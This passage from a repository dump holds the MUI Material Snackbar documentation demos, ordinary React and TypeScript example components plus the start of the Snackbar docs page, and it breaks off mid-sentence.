    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar, { SnackbarCloseReason } from '@mui/material/Snackbar';\n\nexport default function AutohideSnackbar() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (\n    event: React.SyntheticEvent | Event,\n    reason?: SnackbarCloseReason,\n  ) => {\n    if (reason === 'clickaway') {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClick}>Open Snackbar</Button>\n      <Snackbar\n        open={open}\n        autoHideDuration={5000}\n        onClose={handleClose}\n        message=\"This Snackbar will be dismissed in 5 seconds.\"\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/AutohideSnackbar.tsx.preview",
    "content": "<Button onClick={handleClick}>Open Snackbar</Button>\n<Snackbar\n  open={open}\n  autoHideDuration={5000}\n  onClose={handleClose}\n  message=\"This Snackbar will be dismissed in 5 seconds.\"\n/>"
  },
  {
    "path": "docs/data/material/components/snackbars/ConsecutiveSnackbars.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\n\nexport default function ConsecutiveSnackbars() {\n  const [snackPack, setSnackPack] = React.useState([]);\n  const [open, setOpen] = React.useState(false);\n  const [messageInfo, setMessageInfo] = React.useState(undefined);\n\n  React.useEffect(() => {\n    if (snackPack.length && !messageInfo) {\n      // Set a new snack when we don't have an active one\n      setMessageInfo({ ...snackPack[0] });\n      setSnackPack((prev) => prev.slice(1));\n      setOpen(true);\n    } else if (snackPack.length && messageInfo && open) {\n      // Close an active snack when a new one is added\n      setOpen(false);\n    }\n  }, [snackPack, messageInfo, open]);\n\n  const handleClick = (message) => () => {\n    setSnackPack((prev) => [...prev, { message, key: new Date().getTime() }]);\n  };\n\n  const handleClose = (event, reason) => {\n    if (reason === 'clickaway') {\n      return;\n    }\n    setOpen(false);\n  };\n\n  const handleExited = () => {\n    setMessageInfo(undefined);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClick('Message A')}>Show message A</Button>\n      <Button onClick={handleClick('Message B')}>Show message B</Button>\n      <Snackbar\n        key={messageInfo ? messageInfo.key : undefined}\n        open={open}\n        autoHideDuration={6000}\n        onClose={handleClose}\n        slotProps={{ transition: { onExited: handleExited } }}\n        message={messageInfo ? messageInfo.message : undefined}\n        action={\n          <React.Fragment>\n            <Button color=\"secondary\" size=\"small\" onClick={handleClose}>\n              UNDO\n            </Button>\n            <IconButton\n              aria-label=\"close\"\n              color=\"inherit\"\n              sx={{ p: 0.5 }}\n              onClick={handleClose}\n            >\n              <CloseIcon />\n            </IconButton>\n          </React.Fragment>\n        }\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/ConsecutiveSnackbars.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar, { SnackbarCloseReason } from '@mui/material/Snackbar';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\n\nexport interface SnackbarMessage {\n  message: string;\n  key: number;\n}\n\nexport default function ConsecutiveSnackbars() {\n  const [snackPack, setSnackPack] = React.useState<readonly SnackbarMessage[]>([]);\n  const [open, setOpen] = React.useState(false);\n  const [messageInfo, setMessageInfo] = React.useState<SnackbarMessage | undefined>(\n    undefined,\n  );\n\n  React.useEffect(() => {\n    if (snackPack.length && !messageInfo) {\n      // Set a new snack when we don't have an active one\n      setMessageInfo({ ...snackPack[0] });\n      setSnackPack((prev) => prev.slice(1));\n      setOpen(true);\n    } else if (snackPack.length && messageInfo && open) {\n      // Close an active snack when a new one is added\n      setOpen(false);\n    }\n  }, [snackPack, messageInfo, open]);\n\n  const handleClick = (message: string) => () => {\n    setSnackPack((prev) => [...prev, { message, key: new Date().getTime() }]);\n  };\n\n  const handleClose = (\n    event: React.SyntheticEvent | Event,\n    reason?: SnackbarCloseReason,\n  ) => {\n    if (reason === 'clickaway') {\n      return;\n    }\n    setOpen(false);\n  };\n\n  const handleExited = () => {\n    setMessageInfo(undefined);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClick('Message A')}>Show message A</Button>\n      <Button onClick={handleClick('Message B')}>Show message B</Button>\n      <Snackbar\n        key={messageInfo ? messageInfo.key : undefined}\n        open={open}\n        autoHideDuration={6000}\n        onClose={handleClose}\n        slotProps={{ transition: { onExited: handleExited } }}\n        message={messageInfo ? messageInfo.message : undefined}\n        action={\n          <React.Fragment>\n            <Button color=\"secondary\" size=\"small\" onClick={handleClose}>\n              UNDO\n            </Button>\n            <IconButton\n              aria-label=\"close\"\n              color=\"inherit\"\n              sx={{ p: 0.5 }}\n              onClick={handleClose}\n            >\n              <CloseIcon />\n            </IconButton>\n          </React.Fragment>\n        }\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/CustomizedSnackbars.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\nimport Alert from '@mui/material/Alert';\n\nexport default function CustomizedSnackbars() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (event, reason) => {\n    if (reason === 'clickaway') {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClick}>Open Snackbar</Button>\n      <Snackbar open={open} autoHideDuration={6000} onClose={handleClose}>\n        <Alert\n          onClose={handleClose}\n          severity=\"success\"\n          variant=\"filled\"\n          sx={{ width: '100%' }}\n        >\n          This is a success Alert inside a Snackbar!\n        </Alert>\n      </Snackbar>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/CustomizedSnackbars.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar, { SnackbarCloseReason } from '@mui/material/Snackbar';\nimport Alert from '@mui/material/Alert';\n\nexport default function CustomizedSnackbars() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (\n    event?: React.SyntheticEvent | Event,\n    reason?: SnackbarCloseReason,\n  ) => {\n    if (reason === 'clickaway') {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClick}>Open Snackbar</Button>\n      <Snackbar open={open} autoHideDuration={6000} onClose={handleClose}>\n        <Alert\n          onClose={handleClose}\n          severity=\"success\"\n          variant=\"filled\"\n          sx={{ width: '100%' }}\n        >\n          This is a success Alert inside a Snackbar!\n        </Alert>\n      </Snackbar>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/CustomizedSnackbars.tsx.preview",
    "content": "<Button onClick={handleClick}>Open Snackbar</Button>\n<Snackbar open={open} autoHideDuration={6000} onClose={handleClose}>\n  <Alert\n    onClose={handleClose}\n    severity=\"success\"\n    variant=\"filled\"\n    sx={{ width: '100%' }}\n  >\n    This is a success Alert inside a Snackbar!\n  </Alert>\n</Snackbar>"
  },
  {
    "path": "docs/data/material/components/snackbars/DirectionSnackbar.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\nimport Slide from '@mui/material/Slide';\n\nfunction TransitionLeft(props) {\n  return <Slide {...props} direction=\"left\" />;\n}\n\nfunction TransitionUp(props) {\n  return <Slide {...props} direction=\"up\" />;\n}\n\nfunction TransitionRight(props) {\n  return <Slide {...props} direction=\"right\" />;\n}\n\nfunction TransitionDown(props) {\n  return <Slide {...props} direction=\"down\" />;\n}\n\nexport default function DirectionSnackbar() {\n  const [open, setOpen] = React.useState(false);\n  const [transition, setTransition] = React.useState(undefined);\n\n  const handleClick = (Transition) => () => {\n    setTransition(() => Transition);\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Box sx={{ width: 300 }}>\n      <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n        <Button onClick={handleClick(TransitionUp)}>Up</Button>\n      </Box>\n      <Grid container sx={{ justifyContent: 'center' }}>\n        <Grid size={6}>\n          <Button onClick={handleClick(TransitionRight)}>Left</Button>\n        </Grid>\n        <Grid sx={{ textAlign: 'right' }} size={6}>\n          <Button onClick={handleClick(TransitionLeft)}>Right</Button>\n        </Grid>\n      </Grid>\n      <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n        <Button onClick={handleClick(TransitionDown)}>Down</Button>\n      </Box>\n      <Snackbar\n        open={open}\n        onClose={handleClose}\n        slots={{ transition }}\n        message=\"I love snacks\"\n        key={transition ? transition.name : ''}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/DirectionSnackbar.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\nimport Slide, { SlideProps } from '@mui/material/Slide';\n\ntype TransitionProps = Omit<SlideProps, 'direction'>;\n\nfunction TransitionLeft(props: TransitionProps) {\n  return <Slide {...props} direction=\"left\" />;\n}\n\nfunction TransitionUp(props: TransitionProps) {\n  return <Slide {...props} direction=\"up\" />;\n}\n\nfunction TransitionRight(props: TransitionProps) {\n  return <Slide {...props} direction=\"right\" />;\n}\n\nfunction TransitionDown(props: TransitionProps) {\n  return <Slide {...props} direction=\"down\" />;\n}\n\nexport default function DirectionSnackbar() {\n  const [open, setOpen] = React.useState(false);\n  const [transition, setTransition] = React.useState<\n    React.ComponentType<TransitionProps> | undefined\n  >(undefined);\n\n  const handleClick = (Transition: React.ComponentType<TransitionProps>) => () => {\n    setTransition(() => Transition);\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Box sx={{ width: 300 }}>\n      <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n        <Button onClick={handleClick(TransitionUp)}>Up</Button>\n      </Box>\n      <Grid container sx={{ justifyContent: 'center' }}>\n        <Grid size={6}>\n          <Button onClick={handleClick(TransitionRight)}>Left</Button>\n        </Grid>\n        <Grid sx={{ textAlign: 'right' }} size={6}>\n          <Button onClick={handleClick(TransitionLeft)}>Right</Button>\n        </Grid>\n      </Grid>\n      <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n        <Button onClick={handleClick(TransitionDown)}>Down</Button>\n      </Box>\n      <Snackbar\n        open={open}\n        onClose={handleClose}\n        slots={{ transition }}\n        message=\"I love snacks\"\n        key={transition ? transition.name : ''}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/FabIntegrationSnackbar.js",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport Fab from '@mui/material/Fab';\nimport AddIcon from '@mui/icons-material/Add';\nimport Snackbar from '@mui/material/Snackbar';\n\nexport default function FabIntegrationSnackbar() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <GlobalStyles\n        styles={(theme) => ({\n          body: { backgroundColor: theme.palette.background.paper },\n        })}\n      />\n      <div>\n        <AppBar position=\"static\" color=\"primary\">\n          <Toolbar>\n            <IconButton\n              edge=\"start\"\n              sx={{ mr: 2 }}\n              color=\"inherit\"\n              aria-label=\"menu\"\n            >\n              <MenuIcon />\n            </IconButton>\n            <Typography\n              variant=\"h6\"\n              component=\"div\"\n              sx={{\n                color: 'inherit',\n              }}\n            >\n              App bar\n            </Typography>\n          </Toolbar>\n        </AppBar>\n        <Fab\n          color=\"secondary\"\n          sx={(theme) => ({\n            position: 'absolute',\n            bottom: theme.spacing(2),\n            right: theme.spacing(2),\n          })}\n        >\n          <AddIcon />\n        </Fab>\n        <Snackbar\n          open\n          autoHideDuration={6000}\n          message=\"Archived\"\n          action={\n            <Button color=\"inherit\" size=\"small\">\n              Undo\n            </Button>\n          }\n          sx={{ bottom: { xs: 90, sm: 0 } }}\n        />\n      </div>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/FabIntegrationSnackbar.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport Fab from '@mui/material/Fab';\nimport AddIcon from '@mui/icons-material/Add';\nimport Snackbar from '@mui/material/Snackbar';\n\nexport default function FabIntegrationSnackbar() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <GlobalStyles\n        styles={(theme) => ({\n          body: { backgroundColor: theme.palette.background.paper },\n        })}\n      />\n      <div>\n        <AppBar position=\"static\" color=\"primary\">\n          <Toolbar>\n            <IconButton\n              edge=\"start\"\n              sx={{ mr: 2 }}\n              color=\"inherit\"\n              aria-label=\"menu\"\n            >\n              <MenuIcon />\n            </IconButton>\n            <Typography\n              variant=\"h6\"\n              component=\"div\"\n              sx={{\n                color: 'inherit',\n              }}\n            >\n              App bar\n            </Typography>\n          </Toolbar>\n        </AppBar>\n        <Fab\n          color=\"secondary\"\n          sx={(theme) => ({\n            position: 'absolute',\n            bottom: theme.spacing(2),\n            right: theme.spacing(2),\n          })}\n        >\n          <AddIcon />\n        </Fab>\n        <Snackbar\n          open\n          autoHideDuration={6000}\n          message=\"Archived\"\n          action={\n            <Button color=\"inherit\" size=\"small\">\n              Undo\n            </Button>\n          }\n          sx={{ bottom: { xs: 90, sm: 0 } }}\n        />\n      </div>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/IntegrationNotistack.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport { SnackbarProvider, useSnackbar } from 'notistack';\n\nfunction MyApp() {\n  const { enqueueSnackbar } = useSnackbar();\n\n  const handleClick = () => {\n    enqueueSnackbar('I love snacks.');\n  };\n\n  const handleClickVariant = (variant) => () => {\n    // variant could be success, error, warning, info, or default\n    enqueueSnackbar('This is a success message!', { variant });\n  };\n\n  return (\n    <React.Fragment>\n      <Button onClick={handleClick}>Show snackbar</Button>\n      <Button onClick={handleClickVariant('success')}>Show success snackbar</Button>\n    </React.Fragment>\n  );\n}\n\nexport default function IntegrationNotistack() {\n  return (\n    <SnackbarProvider maxSnack={3}>\n      <MyApp />\n    </SnackbarProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/IntegrationNotistack.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport { SnackbarProvider, VariantType, useSnackbar } from 'notistack';\n\nfunction MyApp() {\n  const { enqueueSnackbar } = useSnackbar();\n\n  const handleClick = () => {\n    enqueueSnackbar('I love snacks.');\n  };\n\n  const handleClickVariant = (variant: VariantType) => () => {\n    // variant could be success, error, warning, info, or default\n    enqueueSnackbar('This is a success message!', { variant });\n  };\n\n  return (\n    <React.Fragment>\n      <Button onClick={handleClick}>Show snackbar</Button>\n      <Button onClick={handleClickVariant('success')}>Show success snackbar</Button>\n    </React.Fragment>\n  );\n}\n\nexport default function IntegrationNotistack() {\n  return (\n    <SnackbarProvider maxSnack={3}>\n      <MyApp />\n    </SnackbarProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/IntegrationNotistack.tsx.preview",
    "content": "<SnackbarProvider maxSnack={3}>\n  <MyApp />\n</SnackbarProvider>"
  },
  {
    "path": "docs/data/material/components/snackbars/LongTextSnackbar.js",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\nimport SnackbarContent from '@mui/material/SnackbarContent';\n\nconst action = (\n  <Button color=\"secondary\" size=\"small\">\n    lorem ipsum dolorem\n  </Button>\n);\n\nexport default function LongTextSnackbar() {\n  return (\n    <Stack spacing={2} sx={{ maxWidth: 600 }}>\n      <SnackbarContent message=\"I love snacks.\" action={action} />\n      <SnackbarContent\n        message={\n          'I love candy. I love cookies. I love cupcakes. \\\n          I love cheesecake. I love chocolate.'\n        }\n      />\n      <SnackbarContent\n        message=\"I love candy. I love cookies. I love cupcakes.\"\n        action={action}\n      />\n      <SnackbarContent\n        message={\n          'I love candy. I love cookies. I love cupcakes. \\\n          I love cheesecake. I love chocolate.'\n        }\n        action={action}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/LongTextSnackbar.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\nimport SnackbarContent from '@mui/material/SnackbarContent';\n\nconst action = (\n  <Button color=\"secondary\" size=\"small\">\n    lorem ipsum dolorem\n  </Button>\n);\n\nexport default function LongTextSnackbar() {\n  return (\n    <Stack spacing={2} sx={{ maxWidth: 600 }}>\n      <SnackbarContent message=\"I love snacks.\" action={action} />\n      <SnackbarContent\n        message={\n          'I love candy. I love cookies. I love cupcakes. \\\n          I love cheesecake. I love chocolate.'\n        }\n      />\n      <SnackbarContent\n        message=\"I love candy. I love cookies. I love cupcakes.\"\n        action={action}\n      />\n      <SnackbarContent\n        message={\n          'I love candy. I love cookies. I love cupcakes. \\\n          I love cheesecake. I love chocolate.'\n        }\n        action={action}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/PositionedSnackbar.js",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\n\nexport default function PositionedSnackbar() {\n  const [state, setState] = React.useState({\n    open: false,\n    vertical: 'top',\n    horizontal: 'center',\n  });\n  const { vertical, horizontal, open } = state;\n\n  const handleClick = (newState) => () => {\n    setState({ ...newState, open: true });\n  };\n\n  const handleClose = () => {\n    setState({ ...state, open: false });\n  };\n\n  const buttons = (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n        <Button onClick={handleClick({ vertical: 'top', horizontal: 'center' })}>\n          Top-Center\n        </Button>\n      </Box>\n      <Grid container sx={{ justifyContent: 'center' }}>\n        <Grid size={6}>\n          <Button onClick={handleClick({ vertical: 'top', horizontal: 'left' })}>\n            Top-Left\n          </Button>\n        </Grid>\n        <Grid sx={{ textAlign: 'right' }} size={6}>\n          <Button onClick={handleClick({ vertical: 'top', horizontal: 'right' })}>\n            Top-Right\n          </Button>\n        </Grid>\n        <Grid size={6}>\n          <Button onClick={handleClick({ vertical: 'bottom', horizontal: 'left' })}>\n            Bottom-Left\n          </Button>\n        </Grid>\n        <Grid sx={{ textAlign: 'right' }} size={6}>\n          <Button onClick={handleClick({ vertical: 'bottom', horizontal: 'right' })}>\n            Bottom-Right\n          </Button>\n        </Grid>\n      </Grid>\n      <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n        <Button onClick={handleClick({ vertical: 'bottom', horizontal: 'center' })}>\n          Bottom-Center\n        </Button>\n      </Box>\n    </React.Fragment>\n  );\n\n  return (\n    <Box sx={{ width: 500 }}>\n      {buttons}\n      <Snackbar\n        anchorOrigin={{ vertical, horizontal }}\n        open={open}\n        onClose={handleClose}\n        message=\"I love snacks\"\n        key={vertical + horizontal}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/PositionedSnackbar.tsx",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Snackbar, { SnackbarOrigin } from '@mui/material/Snackbar';\n\ninterface State extends SnackbarOrigin {\n  open: boolean;\n}\n\nexport default function PositionedSnackbar() {\n  const [state, setState] = React.useState<State>({\n    open: false,\n    vertical: 'top',\n    horizontal: 'center',\n  });\n  const { vertical, horizontal, open } = state;\n\n  const handleClick = (newState: SnackbarOrigin) => () => {\n    setState({ ...newState, open: true });\n  };\n\n  const handleClose = () => {\n    setState({ ...state, open: false });\n  };\n\n  const buttons = (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n        <Button onClick={handleClick({ vertical: 'top', horizontal: 'center' })}>\n          Top-Center\n        </Button>\n      </Box>\n      <Grid container sx={{ justifyContent: 'center' }}>\n        <Grid size={6}>\n          <Button onClick={handleClick({ vertical: 'top', horizontal: 'left' })}>\n            Top-Left\n          </Button>\n        </Grid>\n        <Grid sx={{ textAlign: 'right' }} size={6}>\n          <Button onClick={handleClick({ vertical: 'top', horizontal: 'right' })}>\n            Top-Right\n          </Button>\n        </Grid>\n        <Grid size={6}>\n          <Button onClick={handleClick({ vertical: 'bottom', horizontal: 'left' })}>\n            Bottom-Left\n          </Button>\n        </Grid>\n        <Grid sx={{ textAlign: 'right' }} size={6}>\n          <Button onClick={handleClick({ vertical: 'bottom', horizontal: 'right' })}>\n            Bottom-Right\n          </Button>\n        </Grid>\n      </Grid>\n      <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n        <Button onClick={handleClick({ vertical: 'bottom', horizontal: 'center' })}>\n          Bottom-Center\n        </Button>\n      </Box>\n    </React.Fragment>\n  );\n\n  return (\n    <Box sx={{ width: 500 }}>\n      {buttons}\n      <Snackbar\n        anchorOrigin={{ vertical, horizontal }}\n        open={open}\n        onClose={handleClose}\n        message=\"I love snacks\"\n        key={vertical + horizontal}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/PositionedSnackbar.tsx.preview",
    "content": "{buttons}\n<Snackbar\n  anchorOrigin={{ vertical, horizontal }}\n  open={open}\n  onClose={handleClose}\n  message=\"I love snacks\"\n  key={vertical + horizontal}\n/>"
  },
  {
    "path": "docs/data/material/components/snackbars/SimpleSnackbar.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\n\nexport default function SimpleSnackbar() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (event, reason) => {\n    if (reason === 'clickaway') {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  const action = (\n    <React.Fragment>\n      <Button color=\"secondary\" size=\"small\" onClick={handleClose}>\n        UNDO\n      </Button>\n      <IconButton\n        size=\"small\"\n        aria-label=\"close\"\n        color=\"inherit\"\n        onClick={handleClose}\n      >\n        <CloseIcon fontSize=\"small\" />\n      </IconButton>\n    </React.Fragment>\n  );\n\n  return (\n    <div>\n      <Button onClick={handleClick}>Open Snackbar</Button>\n      <Snackbar\n        open={open}\n        autoHideDuration={6000}\n        onClose={handleClose}\n        message=\"Note archived\"\n        action={action}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/SimpleSnackbar.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar, { SnackbarCloseReason } from '@mui/material/Snackbar';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\n\nexport default function SimpleSnackbar() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (\n    event: React.SyntheticEvent | Event,\n    reason?: SnackbarCloseReason,\n  ) => {\n    if (reason === 'clickaway') {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  const action = (\n    <React.Fragment>\n      <Button color=\"secondary\" size=\"small\" onClick={handleClose}>\n        UNDO\n      </Button>\n      <IconButton\n        size=\"small\"\n        aria-label=\"close\"\n        color=\"inherit\"\n        onClick={handleClose}\n      >\n        <CloseIcon fontSize=\"small\" />\n      </IconButton>\n    </React.Fragment>\n  );\n\n  return (\n    <div>\n      <Button onClick={handleClick}>Open Snackbar</Button>\n      <Snackbar\n        open={open}\n        autoHideDuration={6000}\n        onClose={handleClose}\n        message=\"Note archived\"\n        action={action}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/SimpleSnackbar.tsx.preview",
    "content": "<Button onClick={handleClick}>Open Snackbar</Button>\n<Snackbar\n  open={open}\n  autoHideDuration={6000}\n  onClose={handleClose}\n  message=\"Note archived\"\n  action={action}\n/>"
  },
  {
    "path": "docs/data/material/components/snackbars/TransitionsSnackbar.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\nimport Fade from '@mui/material/Fade';\nimport Slide from '@mui/material/Slide';\nimport Grow from '@mui/material/Grow';\n\nfunction SlideTransition(props) {\n  return <Slide {...props} direction=\"up\" />;\n}\n\nfunction GrowTransition(props) {\n  return <Grow {...props} />;\n}\n\nexport default function TransitionsSnackbar() {\n  const [state, setState] = React.useState({\n    open: false,\n    Transition: Fade,\n  });\n\n  const handleClick = (Transition) => () => {\n    setState({\n      open: true,\n      Transition,\n    });\n  };\n\n  const handleClose = () => {\n    setState({\n      ...state,\n      open: false,\n    });\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClick(GrowTransition)}>Grow Transition</Button>\n      <Button onClick={handleClick(Fade)}>Fade Transition</Button>\n      <Button onClick={handleClick(SlideTransition)}>Slide Transition</Button>\n      <Snackbar\n        open={state.open}\n        onClose={handleClose}\n        slots={{ transition: state.Transition }}\n        message=\"I love snacks\"\n        key={state.Transition.name}\n        autoHideDuration={1200}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/TransitionsSnackbar.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\nimport Fade from '@mui/material/Fade';\nimport Slide, { SlideProps } from '@mui/material/Slide';\nimport Grow, { GrowProps } from '@mui/material/Grow';\nimport { TransitionProps } from '@mui/material/transitions';\n\nfunction SlideTransition(props: SlideProps) {\n  return <Slide {...props} direction=\"up\" />;\n}\n\nfunction GrowTransition(props: GrowProps) {\n  return <Grow {...props} />;\n}\n\nexport default function TransitionsSnackbar() {\n  const [state, setState] = React.useState<{\n    open: boolean;\n    Transition: React.ComponentType<\n      TransitionProps & {\n        children: React.ReactElement<any, any>;\n      }\n    >;\n  }>({\n    open: false,\n    Transition: Fade,\n  });\n\n  const handleClick =\n    (\n      Transition: React.ComponentType<\n        TransitionProps & {\n          children: React.ReactElement<any, any>;\n        }\n      >,\n    ) =>\n    () => {\n      setState({\n        open: true,\n        Transition,\n      });\n    };\n\n  const handleClose = () => {\n    setState({\n      ...state,\n      open: false,\n    });\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClick(GrowTransition)}>Grow Transition</Button>\n      <Button onClick={handleClick(Fade)}>Fade Transition</Button>\n      <Button onClick={handleClick(SlideTransition)}>Slide Transition</Button>\n      <Snackbar\n        open={state.open}\n        onClose={handleClose}\n        slots={{ transition: state.Transition }}\n        message=\"I love snacks\"\n        key={state.Transition.name}\n        autoHideDuration={1200}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/TransitionsSnackbar.tsx.preview",
    "content": "<Button onClick={handleClick(GrowTransition)}>Grow Transition</Button>\n<Button onClick={handleClick(Fade)}>Fade Transition</Button>\n<Button onClick={handleClick(SlideTransition)}>Slide Transition</Button>\n<Snackbar\n  open={state.open}\n  onClose={handleClose}\n  slots={{ transition: state.Transition }}\n  message=\"I love snacks\"\n  key={state.Transition.name}\n  autoHideDuration={1200}\n/>"
  },
  {
    "path": "docs/data/material/components/snackbars/snackbars.md",
    "content": "---\nproductId: material-ui\ntitle: React Snackbar component\ncomponents: Snackbar, SnackbarContent\ngithubLabel: 'scope: snackbar'\nmaterialDesign: https://m2.material.io/components/snackbars\nwaiAria: https://www.w3.org/TR/wai-aria-1.1/#alert\ngithubSource: packages/mui-material/src/Snackbar\n---\n\n# Snackbar\n\n<p class=\"description\">Snackbars (also known as toasts) are used for brief notifications of processes that have been or will be performed.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nThe Snackbar component appears temporarily and floats above the UI to provide users with (non-critical) updates on an app's processes.\nThe demo below, inspired by Google Keep, shows a basic Snackbar with a text element and two actions:\n\n{{\"demo\": \"SimpleSnackbar.js\"}}\n\n### Usage\n\nSnackbars differ from [Alerts](/material-ui/react-alert/) in that Snackbars have a fixed position and a high z-index, so they're intended to break out of the document flow; Alerts, on the other hand, are usually part of the flow—except when they're [used as children of a Snackbar](#use-with-alerts).\n\nSnackbars also differ from [Dialogs](/material-ui/react-dialog/) in that Snackbars are not intended to convey _critical_ information or block the user from interacting with the rest of the app; Dialogs, by contrast, require input from the user in order to be dismissed.\n\n## Basics\n\n### Import\n\n```jsx\nimport Snackbar from '@mui/material/Snackbar';\n```\n\n### Position\n\nUse the `anchorOrigin` prop to control the Snackbar's position on the screen.\n\n{{\"demo\": \"PositionedSnackbar.js\"}}\n\n### Content\n\n```jsx\nimport SnackbarContent from '@mui/material/SnackbarContent';\n```\n\nUse the Snackbar Content component to add text and actions to the Snackbar.\n\n{{\"demo\": \"LongTextSnackbar.js\"}}\n\n### Automatic dismiss\n\nUse the `autoHideDuration` prop to automatically trigger the Snackbar's 